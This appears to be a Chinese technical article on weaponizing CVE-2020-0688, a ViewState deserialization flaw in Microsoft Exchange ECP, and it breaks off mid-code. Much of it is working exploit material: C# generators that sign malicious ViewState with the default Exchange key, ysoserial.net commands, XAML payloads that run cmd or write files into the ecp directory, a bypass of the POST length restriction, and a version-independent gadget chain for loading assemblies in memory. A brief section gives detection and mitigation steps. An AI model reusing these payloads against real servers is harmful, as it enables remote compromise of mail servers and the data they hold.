.net byte转java byte_CVE20200688的武器化与.net反序列化漏洞那些事

bb6dc5d52f029dd3c68cbbab08d3073c.png

0x00 前言 CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞,该漏洞存在于Exchange Control Panel(ecp)中,不涉及Exchange的工作逻辑,其本质上是一个 web漏洞 。 鉴于国内对.net安全的讨论少之又少,对此借助这篇文章分析一下漏洞详细原理以及利用中的一些细节部分,一方面证明其实际危害性; 另一方面抛砖引玉,希望能集思广益,挖掘更好的利用方式。 全文测试环境为 Exchange 2013+Server 2012R2 / Exchange 2016+Server 2016 。 由于ecp的一些限制以及低版本.net反序列化利用的复杂性,暂时不讨论更低版本。 完整阅读本文至少需要 一小时 的时间。0x10 背景知识

反序列化、ViewState与MachineKey

0x11 反序列化

.net Framework(下称fx)原生支持多种序列化/反序列化方式,一些较为古老的系统和组件会使用 binarysoap ,而现在基本被 xmljson 所替代。 在 binary 序列化中有五个非常重要的类型: Serializable 特性、 ISerializable 接口、 MarshalByRefObject 抽象类、 IDeserializationCallbackIObjectReference 接口。 Serializable特性标记类可以进行 基于值 的序列化,MarshalByRefObject标记类可以进行 基于引用 的序列化,ISerializable接口 决定序列化行为 ,IDeserializationCallback在反序列化过程中 还原对象状态 ,IObjectReference实现 工厂模式 反序列化。 在序列化过程中由 SerializationInfo 保存序列化数据,可以粗略的将其理解为一个以 字符串 为键,以.net 基元类型 为值,以 字符串形式的程序集名称和类型名 进行包装的多层嵌套字典,形象一点的近似类比是注册表。 单纯标记Serializable特性的类会以 字段名 作为键,以 字段值 作为值,以字段值的 实际类型 作为类型名进行保存,等同于java中的Serializable接口的默认行为; 实现ISerializable接口的类由 GetObjectData 方法控制SerializationInfo中的数据和类型,类似于java中定义在类型本身的writeObject和readObject或实现Externalizable接口的类; 继承自MarshalByRefObject的类会写入一个 ObjRef 表示远程引用。 在反序列化过程中,首先会尝试调用具有 (SerializationInfo,StreamingContext) 签名的构造函数进行初始化,之后检测是否实现 IObjectReference ,如果实现则调用 GetRealObject 获取真实对象,否则返回对象本身。 和java检测serialVersionUID不同,类型版本由SerializationInfo中保存的AssemblyName决定,其规则遵循clr默认程序集发现和加载策略,可认为是透明的。 fx的程序集中存在两个极为重要的工厂类: [mscorlib]System.DelegateSerializationHolder[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef 。 按照微软的本意,只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。 序列化操作的实现是完全没有问题的,而在反序列化操作中并没有要求返回类型满足上述约束(当然,这是特性而不是漏洞)。 借助DelegateSerializationHolder,我们可以反序列化 任何委托 (无论方法、属性,也不分静态或实例); 而借助ObjectSerializedRef可实现 任意类 反序列化。 众所周知,委托实质上代表一个可以直接执行的.net方法。 如果为序列化数据提供一个恶意委托(例如Process.Start(string)),那么在委托被调用时将实现代码执行。 而实际上,在序列化时控制一个对象的某个方法的调用时机是比较麻烦的,所以借助 IObjectReference::GetRealObject 等在反序列化时会进行调用的方法是更好的选择。 基于以上结论,可以得到下面的测试代码,此代码中的Test类在进行反序列化时将导致命令执行:
//build and run: c:windowsmicrosoft.netframeworkv4.0.30319csc test.cs && testusing System;using System.Diagnostics;using System.Security.Cryptography;using System.IO;using System.Web;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters.Binary;[Serializable]class Test : IObjectReference{    Func<string, object> _dele;    string _parm;    public Test(Func<string, object> dele, string parm)    {        _dele = dele;        _parm = parm;    }    public Object GetRealObject(StreamingContext c)    {        return _dele(_parm);    }}class a{    static void Main(string[] args)    {        Test t = new Test(new Func<string, object>(Process.Start), "notepad");        byte[] data = Serialize(t);        Console.WriteLine(Deserialize(data));    }    static object Deserialize(byte[] b)    {        using (MemoryStream mem = new MemoryStream(b))        {            mem.Position = 0;            BinaryFormatter bf = new BinaryFormatter();            return bf.Deserialize(mem);        }    }    static byte[] Serialize(object obj)    {        using (MemoryStream mem = new MemoryStream())        {            BinaryFormatter bf = new BinaryFormatter();            bf.Serialize(mem, obj);            return mem.ToArray();        }    }}
所以我们只需要找到和上面代码相类似,且在fx或目标环境进行提供的类即可在真实环境中使用。 限于篇幅,更细节的信息请参考ysoserial.net的 TypeConfuseDelegateGenerator ,其调用堆栈大致为:
System.Diagnostics.Process.StartSystem.Collections.Generic.ComparisonComparer<string>._comparison.InvokeSystem.Collections.Generic.ComparisonComparer<string>::CompareSystem.Collections.Generic.SortedSet<string>::OnDeserialization(after System.Collections.Generic.SortedSet<string>::.ctor(SerializationInfo,StreamingContext))

0x12 ViewState

ViewState是asp.net的一个特性,由 [System.Web]System.Web.UI.Page 类进行实现,其目的是为服务端控件状态进行持久化。 从开发的角度看,所谓“控件状态”实际上就是服务端控件的属性或字段。 fx在实现时采用了类似于 ISerializable::GetObjectData 的行为,由控件本身决定如何进行保存。 具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter 进行处理。 其返回结果以 FF01 作为magic,后续数据是近似于 Type-Value 的格式。 由于控件本身可能需要保存较为复杂的类型,ObjectStateFormatter通过 二进制序列化 方式对这种情况进行支持,其TypeCode为 0x32 ,Value为带有 7bit-encoded 长度前缀的二进制序列化数据。 所以可以使用以下代码手动生成一个合法的ViewState:
static byte[] GetViewState(){  Test t = new Test(new Func<string, object>(Process.Start), "notepad");  byte[] data = Serialize(t);  MemoryStream ms = new MemoryStream();  ms.WriteByte(0xff);  ms.WriteByte(0x01);  ms.WriteByte(0x32);  uint num = (uint)data.Length;  while (num >= 0x80)  {      ms.WriteByte((byte)(num | 0x80));      num = num >> 0x7;  }  ms.WriteByte((byte)num);  ms.Write(data, 0, data.Length);  return ms.ToArray();}
在asp.net环境中,每一个aspx文件都会(在发布期间或初始化期间)被编译为一个继承Page类的对象。 访问对应的页面时由 [System.Web]System.Web.UI.PageHandlerFactory 进行查找并创建实例,之后调用 ProcessRequest 方法处理当前的HttpContext。 在随后的 ProcessRequestMain 方法中,将判断是否处于 PostBack 状态,如果是则获取 FormQueryString 中的 __VIEWSTATE ,并在 LoadAllState 方法中进行反序列化。 上述过程的调用堆栈大致为:
System.Web.UI.ObjectStateFormatter.DeserializeSystem.Web.UI.Page.LoadAllState(if IsPostBack)System.Web.UI.Page.ProcessRequestMainSystem.Web.UI.Page.ProcessRequest
进入PostBack模式有两个条件: 页面不是通过 Server.Transfer 进行重定向的, __VIEWSTATE 等隐藏表单存在。 默认直接访问页面即可满足上述条件。

0x13 ViewState验证、MacKeyModifier与MachineKey

由于ViewState完全由客户端传入,为了防止篡改,ObjectStateFormatter会使用 MachineKey 对信息进行加密或签名。 在默认情况下,MachineKey由fx随机生成,长度为0x400; 反序列化的数据不会进行加密,但会进行 HMACSha256 签名,计算出的签名将附加在数据最后。 高版本的fx添加了 MacKeyModifier 作为Salt,由 ClientIdViewStateUserKey 两部分拼接而成。 在默认情况下,ViewStateUserKey为 ; ClientId的算法为当前页面 虚拟目录 路径与当前 页面类型名称 的HashCode之和,同时会以十六进制形式存放于名为 __VIEWSTATEGENERATOR的 隐藏表单中返回。 而即使ClientId不返回实际上也几乎没有影响: 在不存在反向代理的情况下,最坏的黑盒情况依然可通过url逐级爆破获得当前页面虚拟路径; 当前页面的类型名称则是固定的将请求路径中的句点(.)以及斜杠(/)替换为下划线(_),例如 /a/b/c.aspx 最终的类型名为 a_b_c_aspx 。 无论加密还是解密时,ObjectStateFormatter都会根据对应的Page 重新计算 MacKeyModifier,客户端请求所发送的__VIEWSTATEGENERATOR 不参与 反序列化。 综上,在已知key的情况下,可以使用以下代码直接算出hash,以及最终的ViewState:
byte[] data=GetViewState();byte[] key=new byte[]{0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf,0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf};int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/");uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx"));byte[] _mackey = new byte[4];_mackey[0] = (byte)_clientstateid;_mackey[1] = (byte)(_clientstateid >> 8);_mackey[2] = (byte)(_clientstateid >> 16);_mackey[3] = (byte)(_clientstateid >> 24);MemoryStream ms = new MemoryStream();ms.Write(data,0,data.Length);ms.Write(_mackey,0,_mackey.Length);byte[] hash=(new HMACSHA256(key)).ComputeHash(ms.ToArray());ms=new MemoryStream();ms.Write(data,0,data.Length);ms.Write(hash,0,hash.Length);Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}",    HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())),    _clientstateid.ToString("X2"));
编译上述代码,执行,复制输出。 在IIS的默认站点进行下列操作: 确保应用程序池为 .net 4.0 ,新建一个空白的 default.aspx ,将刚刚编译的exe复制到 bin 目录下,在 web.config 中添加MachineKey(如下)。
<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.web>      <machineKey validationKey="000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f" />    system.web>configuration>
将前面复制的输出作为 QueryStringFormData ,访问default.aspx,会看到 w3wp.exe 创建了子进程notepad。 c329dda4b8d9ee502c1d55a9f3ebb494.png0x20 ecp的限制与初步利用

0x21 ecp的配置与限制

由于这是一个默认Key导致的漏洞,所以首先查看ecp的配置文件。 配置文件存放在 %ExchangeInstallPath%ClientAccessecpweb.config ,可以看到其中默认的 validationKeyCB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF49098293fb96e5ccaab2c069b03b264d.png ecp当然不会存在前面用于测试的Test类,对反序列化非常熟悉的话可以查找一些可以利用的类。 当然也可以偷个懒,借助ysoserial.net生成一个命令执行的payload:
ysoserial.exe -g TypeConfuseDelegate -c notepad -f binaryformatter -o base64
修改上面的脚本生成ViewState,访问,无论GET还是POST均毫无疑问的返回 404 ,将POST修改为GET进行伪装则返回 501 。 根据501页面的内容,很明显是请求被前置模块进行了过滤; GET返回404的原因是IIS默认限制QueryString最大长度为 2048 ; POST返回404则是在web.config中 重写 了全部处理程序映射,禁止了绝大部分aspx文件的 POST 请求方法: 1c81551c2b986d3c04357537f14b3357.png 而几个允许POST的白名单中,Download.aspx并非通过PageHandlerFactory进行处理,其余的要么文件不存在,要么低权限用户无权访问。 必须找到对这些限制进行绕过的方式才能成功利用此漏洞。

0x22 无效的ViewStateUserKey

在查找绕过方式之前,让我们回过头来,计算一下已知的ViewState进行验证,以确保ecp不存在其他奇奇怪怪的配置。 正常访问default.aspx,复制ViewState的值,进行base64解码,并去掉最后 0x14 个字节。 例如测试环境中的ViewState解码后的数据为 ff010f0f050a2d3231303138363636396464 。 之后修改前面的代码:
byte[] data=new byte[]{0xff,0x01,0x0f,0x0f,0x05,0x0a,0x2d,0x32,0x31,0x30,0x31,0x38,0x36,0x36,0x36,0x39,0x64,0x64};byte[] key=new byte[]{0xCB,0x27,0x21,0xAB,0xDA,0xF8,0xE9,0xDC,0x51,0x6D,0x62,0x1D,0x8B,0x8B,0xF1,0x3A,0x2C,0x9E,0x86,0x89,0xA2, 0x53,0x03,0xBF};int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp");uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));//....byte[] hash=(new HMACSHA1(key)).ComputeHash(ms.ToArray());
执行,返回以下结果: ffa93dcb5eb4be4eab700793088309b8.png 可以看到 ClientId 是正确的,而 Hash 不同,显然页面存在 ViewStateUserKey 。 修改页面输出 ViewStateUserKey ,可看到和cookie中 ASP.NET_SessionId 相同。 0abb63765182598e939dacf053209d0b.png 而我们知道Exchange使用cookie登录而不是Session,在web.config中也 移除 了Session模块: d262186b2583405e623196cffaa22e2e.png 所以可推测ViewStateUserKey完全由客户端控制,将cookie中ASP.NET_SessionId 置空 ,此时远程返回了相同的ViewState: 4a10874f99dad655a548126998fd5ca6.png 证明推论正确,这将在后续操作中节约几个步骤。

0x23 更换payload进行初步利用

现在再反过来思考绕过的问题,首先处理程序映射属于asp.net的核心部分,不可能绕过; 501检测位置不明,但删除POST包中的Content-Type后依然返回501,证明检测逻辑很可能为 if(Method=="GET" && ContentLength>0){501;} ; 最后只剩下减小payload长度一种方式。 ysoserial.net提供了很多的payload,我们可以尝试一下其他generator,例如 TextFormattingRunProperties
ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter >out.dat
GetViewState 方法中的数据进行替换,执行并生成ViewState,使用burp将cookie中ASP.NET_SessionId置空,访问,远程返回500,同时执行了命令 cmd /c notepad88f7340e0f393b5cccd858d5235da4ac.png

0x24 xaml与代码执行

借助TextFormattingRunPropertiesGenerator,我们能够成功的通过ecp达到Exchange Server的远程代码执行,但其中的原理是什么? 能否进行更深入层次的运用? 查看ysoserial.net源码可发现,TextFormattingRunPropertiesGenerator会返回一个 [Microsoft.PowerShell.Editor]Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties 对象的序列化数据,同时添加了一个键名为 ForegroundBrush ,值为 xaml字符串 的序列化信息。
public void GetObjectData(SerializationInfo info, StreamingContext context){  Type typeTFRP = typeof(TextFormattingRunProperties);  info.SetType(typeTFRP);  info.AddValue("ForegroundBrush", _xaml);}
查看 Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor(SerializationInfo,StreamingContext) 的代码,可以看到在反序列化过程中会取出这个xaml,之后调用 [PresentationFramework]System.Windows.Markup.XamlReader.Parse 进行解析:
private object GetObjectFromSerializationInfo(string name, SerializationInfo info){    string @string = info.GetString(name);    if (@string == "null")    {        return null;    }    return XamlReader.Parse(@string);}
其调用堆栈大致如下:
[PresentationFramework]System.Windows.Markup.XamlReader.ParseMicrosoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.GetObjectFromSerializationInfoMicrosoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor
xaml是wpf的界面组件代码,可以通过xml的形式构建窗体对象或存放运行时所需的资源。 在执行 XamlReader.Parse 时会实例化其中声明的对象,并绑定属性。 在解析器的实现中, ResourceDictionary 负责对静态资源进行存储, ObjectDataProvider 作为工厂类负责通过方法调用等方式生成对象。 如果为ObjectDataProvider提供恶意方法,同样可以达到代码执行的目的。 对照ysoserial.net生成的xaml: 第一行表示该xaml为一个ResourceDictionary对象; 第二行将 SystemSystem.Diagnostics 两个命名空间和xmlns进行映射; 第三行声明了一个ObjectDataProvider,并将其 ObjectType 属性赋值为 typeof(System.Diagnostics.Process)MethodName 属性赋值为 Start ; 第四行至第七行声明了调用该方法是要传递的参数,分别为 cmd"/c notepad"
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"  xmlns:System="clr-namespace:System;assembly=mscorlib"    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">     <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >     <ObjectDataProvider.MethodParameters>        <System:String>cmdSystem:String>        <System:String>"/c notepad"System:String>     ObjectDataProvider.MethodParameters>    ObjectDataProvider>ResourceDictionary>
XamlReader在解析上述xaml时,首先根据根元素创建 ResourceDictionary 对象,该对象实现了IDirectory接口,所以其后的ObjectDataProvider将作为成员进行存储。 接下来初始化 ObjectDataProvider 对象,并设置 ObjectTypeMethodNameMethodParameters 三个属性。 ObjectDataProvider在 MethodParameters 改变时会调用 OnParametersChanged 方法,最终将通过反射调用 Process.Start ,并传递参数。 其流程和以下伪代码相对应:
typeof(Process).GetMethod("Start").Invoke(null,new object[]{"cmd",""/c notepad""})
可将xaml进行保存,然后执行下面的PowerShell脚本进行验证:
Add-Type -AssemblyName PresentationFramework[System.Windows.Markup.XamlReader]::Parse([io.file]::readalltext('xaml.txt'))
最后,我们可以将ysoserial.net中相关代码提取出来,稍作修改和之前的代码合并作为生成器:
[Serializable]public class TextFormattingRunPropertiesMarshal : ISerializable{  protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context){}  string _xaml;  public void GetObjectData(SerializationInfo info, StreamingContext context)  {    info.SetType(typeof(TextFormattingRunProperties));    info.AddValue("ForegroundBrush", _xaml);  }  public TextFormattingRunPropertiesMarshal(string xaml)  {    _xaml = xaml;  }}static byte[] GetViewState(byte[] data){....}//in mainbyte[] data=GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xa)));
成功执行命令仅仅是一个开始。 无论红队还是蓝队,在目标无法出网的情况下,单纯的执行命令既不能判断漏洞存在与否,也很难达成稳定隐蔽的控制。 请记住 xaml 这个关键点,在后续的漏洞利用过程中是最为重要的一环。0x30 蓝队

检测与缓解措施

0x31 构造检测xaml

在远程无回显地执行命令很难确切地知道漏洞利用成功与否,由于不确定目标环境是否能够出网,即使有dnslog这种方式也很难做到完整检测。 所以我们需要一种简单的方式进行验证。 xaml不光支持调用 静态方法 ,同样支持获取 静态属性 、获取 实例属性 或调用 实例方法 。 于是可以通过 [System.Web]System.Web.HttpContext::Current 获取当前Http上下文,并对 Response 进行操作。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"    xmlns:s="clr-namespace:System;assembly=mscorlib"    xmlns:w="clr-namespace:System.Web;assembly=System.Web">  <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName="">ObjectDataProvider>  <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response">ObjectDataProvider>  <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers">ObjectDataProvider>  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">    <ObjectDataProvider.MethodParameters>      <s:String>X-ZCG-TESTs:String>      <s:String>CVE-2020-0688s:String>    ObjectDataProvider.MethodParameters>  ObjectDataProvider>  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End">ObjectDataProvider>ResourceDictionary>
上述xaml在加载时的流程等同于:
var a=HttpContext.Current;var b=a.Response;var c=b.Headers;c.Add("X-ZCG-TEST","CVE-2020-0688");b.End();
修改生成payload,访问,可看到增加了一个返回头 X-ZCG-TEST ,其值为 CVE-2020-0688 。 和执行命令的poc不同,由于调用了 Response.End ,不会导致后续异常,返回状态码为正常的 2008eaea2b860344feb1165b2b30c280961.png 当然,调用诸如 Response.AppendCookieResponse.AddHeader 等方法都是可以的,只要最终生成的QueryString不超过 2048 就不会有任何问题。

0x32 修复措施

由于ecp本身不使用任何ViewState相关的方法(事实上在多个页面中禁用了ViewState),最简单的修复方式就是删除web.config中 machineKey 一节:
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
之后ecp会自动重启,随后将采用随机生成的0x400长度的key进行加密。0x40 红队

武器化

0x41 绕过POST限制

红队操作更考虑隐蔽以及稳定控制,限制长度的Payload具有非常大的局限性,很难实现完美控制。 POST不受长度限制但默认被禁用,所有不需要权限的白名单文件均不存在。 如果创建一个原本不存在的白名单文件,能否进行绕过? 那么进行测试,从web.config中随便挑一个允许POST且不存在的aspx文件,例如 LiveIdError.aspx 。 在测试环境的ecp目录创建这个空文件。 之后修改之前的代码:
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("liveiderror_aspx"));
编译执行访问,可看到返回了测试标识,证明思路有效。 aa422b052d2b68025e8491ed54ce8559.png

0x42 构造写入文件的xaml

那么现在的问题就变成了: 如何通过简短的反序列化,在ecp目录创建一个指定名称的空白文件? 熟悉.net的人可能会瞬间给出答案, System.IO.File::AppendAllText(string,string) 可以向指定路径的文件追加指定内容,当文件不存在时会创建。 使用此方法还有一个小问题,AppendAllText第一个参数如果是相对路径的话,将在 CurrentDirectory 创建文件,而绝大多数情况下w3wp的CurrentDirectory为 %systemroot%system32inetsrv 。 简单粗暴的解决这个问题有两种方案: 由于Exchange会将安装目录保存在环境变量 ExchangeInstallPath 中,所以直接调用cmd进行echo即可; 或者直接使用默认安装路径 C:Program FilesMicrosoftExchange ServerV15ClientAccessecp 。 第一种可能会触发某些监控,第二种则存在小概率修改目录的可能。 这两种方案的xaml分别如下:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"    xmlns:System="clr-namespace:System;assembly=mscorlib"    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">     <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >     <ObjectDataProvider.MethodParameters>        <System:String>cmdSystem:String>        <System:String>"/c cd %ExchangeInstallPath% && echo . > ClientAccessecpLiveIdError.aspx"System:String>     ObjectDataProvider.MethodParameters>    ObjectDataProvider>ResourceDictionary>
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"    xmlns:s="clr-namespace:System;assembly=mscorlib"    xmlns:io="clr-namespace:System.IO;assembly=mscorlib">  <ObjectDataProvider x:Key="x" ObjectType="{x:Type io:File}" MethodName="WriteAllText">    <ObjectDataProvider.MethodParameters>      <s:String>C:Program FilesMicrosoftExchange ServerV15ClientAccessecpLiveIdError.aspxs:String>      <s:String>s:String>    ObjectDataProvider.MethodParameters>  ObjectDataProvider>ResourceDictionary>
编译执行访问,均可在ecp目录创建LiveIdError.aspx文件。

0x43 优化文件写入

显然,粗暴的方式有着各种各样的缺点,对于完美主义者,还需要找到其他方式进行规避。 我们现在已知绝对路径存放于 %ExchangeInstallPath% ,那么只要将其取出作为 ObjectDataProvider.MethodParameters 的第一个参数即可。 但通过ObjectDataProvider调用方法的后,存放于ResourceDictionary中的实际上还是一个ObjectDataProvider实例,直接将其作为参数传入会抛出异常,所以需要一个能够调用方法且返回类型本身的方式。 在查询xaml官方文档后可以找到 x:FactoryMethod 指令,该指令用于对象初始化。 其实现为通过调用静态方法并强制转换为xaml元素指定的对象类型,完全符合需求。 那么解决方案也就很简单了: 在 s:String 元素上以 FactoryMethod 方式调用 [mscorlib]System.Environment::GetEnvironmentVariable 获取安装路径,之后以同样方式调用 [mscorlib]System.String.Concat 拼接文件名,最后调用 AppendAllText 写入文件。 完整的xaml如下:
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"    xmlns:s="clr-namespace:System;assembly=mscorlib"    xmlns:w="clr-namespace:System.Web;assembly=System.Web">  <s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/>  <s:String x:Key="b" x:FactoryMethod="Concat">    <x:Arguments>      <StaticResource ResourceKey="a"/>      <s:String>ClientAccessecpLiveIdError.aspxs:String>    x:Arguments>  s:String>  <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">    <ObjectDataProvider.MethodParameters>      <StaticResource ResourceKey="b"/>      <s:String>s:String>    ObjectDataProvider.MethodParameters>  ObjectDataProvider>  <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>ResourceDictionary>
此xaml等同于以下C#代码:
string a=Environment.GetEnvironmentVariable("ExchangeInstallPath");string b=string.Concat(a,"ClientAccessecpLiveIdError.aspx");File.AppendAllText(b,"");HttpContext.Current.Response.End();
编译执行访问,可在未知绝对路径的情况下无感知地创建我们需要的空白文件。

0x44 高级操作与ysoserial.net缺陷

通过第一阶段创建的白名单文件,可以将不足 2048字节 的payload拓展到IIS默认的 4M 上限,这样我们就能通过更大的payload进行高级操作。 所谓高级操作,就是以 不落地 的方式在当前进程 内存 中执行 任何操作 ,包括但不限于执行命令并回显、读写文件、加载ShellCode、后渗透等等。 在.net无限制反序列化的环境前提下,可以通过 ObjectSerializedRef 反序列化 LinqIterator 对象在内存中加载.net程序集并实例化,最终实现任意代码执行。 这个方式在yssoserial.net中以 ActivitySurrogateSelectorGeneratorActivitySurrogateSelectorFromFileGenerator 进行实现。 ActivitySurrogateSelectorFromFileGenerator 提供一个将C#源码编译为程序集并在远程加载的功能,首先创建以下测试代码:
class E{  public E()  {    try    {      System.Diagnostics.Process.Start("notepad");      System.Web.HttpContext.Current.Response.Write("exploit!");      System.Web.HttpContext.Current.Response.End();    }    catch{}  }}
之后执行以下命令生成payload。 这里注意,为了保证测试效果防止提前踩坑,请 暂时在目标 Exchange服务器上执行:
ysoserial -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c exploitclass.cs;System.Web.dll;System.dll >o.dat
修改之前的反序列化测试程序,编译执行访问,不出意外的话可以得到以下结果: 630b1abe0c4495ade918c1d296bd3896.png 成功创建子进程notepad,回显输出exploit!,表明上述代码已经在远程执行。 接下来对代码进行自定义修改即可进行任何操作,例如命令回显、ShellCode等等。 看似一切完美? 其实并不。 现在可以打开 C:WindowsMicrosoft.NETFramework64v4.0.30319 目录,查看 System.Core.dll 的文件版本。 例如当前测试环境为 4.7.3362.0 ,表示fx版本为 4.7.x 。 下面来模拟真实环境远程生成payload。 真实环境下不可能知道对方的fx版本(返回头中的版本号永远都是4.0.30319),所以常规做法是通过ysoserial.net直接生成一个payload并发送。 例如通过同样的方式,在文件版本 4.6.1098.0 (对应fx版本 4.6.x )的环境下能够成功生成payload,但继续编译执行访问,不会得到任何结果。 如果将这个payload复制到Exchange服务器并使用以下Powershell脚本进行测试,会得到一个 TypeLoadException
$fmt=new-object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter;$mft.Deserialize((new-object System.IO.FileStream("o.dat",'Open','Read')));
ab703c88bba7479d232654534ca862a7.png 根据错误信息对应到 [System.Core]System.Linq.Enumerable 类,可以看到在fx 4.7.x的程序集中这个类的名称由 Enumerable+d__16 变成了 Enumerable+d__17b5b59cb627eae7abdc8d1875a0430e17.png 反序列化时找不到类型自然无法创建实例,最终导致利用失败。

0x45 构造完美的反序列化数据

解决这个问题需要结合ActivitySurrogateSelectorGenerator以及LinqIterator的源码进行分析。 首先要理解ActivitySurrogateSelectorGenerator的工作原理,其逻辑非常简单: 通过 linq 调用,顺序执行 Assembly::Load(byte[])Assembly.GetTypes()Activator::CreateInstance(Type) ,从而 实例化 由字节数组存储的程序集中定义的类,达到代码执行的效果。 整体流程大致等价为以下C#代码:
foreach(byte[] data in byte[][]){  foreach(Type t in Assembly.Load(data).GetTypes())  {    Activator.CreateInstance(t);  }}
而序列化保存的数据大部分都是在Linq调用过程中用于返回数据的 迭代器枚举器 。 之后,在ilspy中查找 Enumerable+d__17 的引用,可发现在 System.Linq.Enumerable.SelectManyIterator 方法进行调用,反编译可以看到以下代码: 8f3da229af133011c1946ad9be23232e.png 可以看到是一个 迭代器语法糖 ,很明显是由编译器 自动生成 的状态机类。 实际上,类型名中的 16 / 17 为编译期间由编译器内部维护的一个序号,随着自动生成的类增加而增长,所以在不同版本的fx中不一定相同。 为了避免这样的问题,继续查找是哪个调用导致将此对象写入了序列化数据中。 迭代器的上级调用有且只有 System.Linq.Enumerable.SelectMany ,而这正是在ActivitySurrogateSelectorGenerator中调用的拓展方法:
var e2 = e1.SelectMany(map_type);
现在最后的问题就转换成了如何将 SelectMany 替换为其他等价表达式。 根据代码以及生成的数据可以知道, Where 表达式/拓展方法返回的 WhereSelectEnumerableIterator 不会调用自动生成的类,是一个较好的序列化目标。 WhereSelectEnumerableIterator 中包含两个委托 selectorpredicate 。 其中selector的签名为 Func ,可以调用诸如 Assembly.Load 等静态方法将一个对象转换为另外的对象,或是在一个对象实例上调用 无参方法 ; predicate的签名为 Func ,会作为条件判断在selector 之前 进行调用。 缺失的调用链中 GetTypes 返回一个Type数组,由 [mscorlib]System.Array 基类实现 IEnumerable 接口,于是可以调用 GetEnumerator 方法,获取一个 IEnumerator 对象。 通过获取 IEnumerator 对象的 Current 属性,可以得到Type实例,在获取之前需要调用 MoveNext 方法,该方法的签名恰好和predicate匹配。 所以最后不难得出以下调用链:
Activator.CreateInstance(Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()})
对应的代码为:
static IEnumerable GetEnum(    IEnumerable src,    Funcbool> predicate,    Func selector){  Type t=Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")    .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")    .MakeGenericType(typeof(TSource),typeof(TResult));  return t.GetConstructors()[0].Invoke(new object[]{src,predicate,selector}) as IEnumerable;}IEnumerable e2=GetEnum<byte[],Assembly>(new byte[][]{File.ReadAllBytes("RemoteStub.dll")},null,Assembly.Load);IEnumerable> e3=GetEnum>(e2,    null,    (Func>)Delegate.CreateDelegate        (            typeof(Func>),             typeof(Assembly).GetMethod("GetTypes")        ));IEnumerable> e4 = GetEnum,IEnumerator>(e3,    null,    (Func,IEnumerator>)Delegate.CreateDelegate    (        typeof(Func,IEnumerator>),         typeof(IEnumerable).GetMethod("GetEnumerator")    ));IEnumerable e5 = GetEnum,Type>(e4,    (Func,bool>)Delegate.CreateDelegate    (        typeof(Func,bool>),         typeof(IEnumerator).GetMethod("MoveNext")    ),    (Func,Type>)Delegate.CreateDelegate    (        typeof(Func,Type>),         typeof(IEnumerator).GetProperty("Current").GetGetMethod()    ));PagedDataSource pds = new PagedDataSource() { DataSource = e5 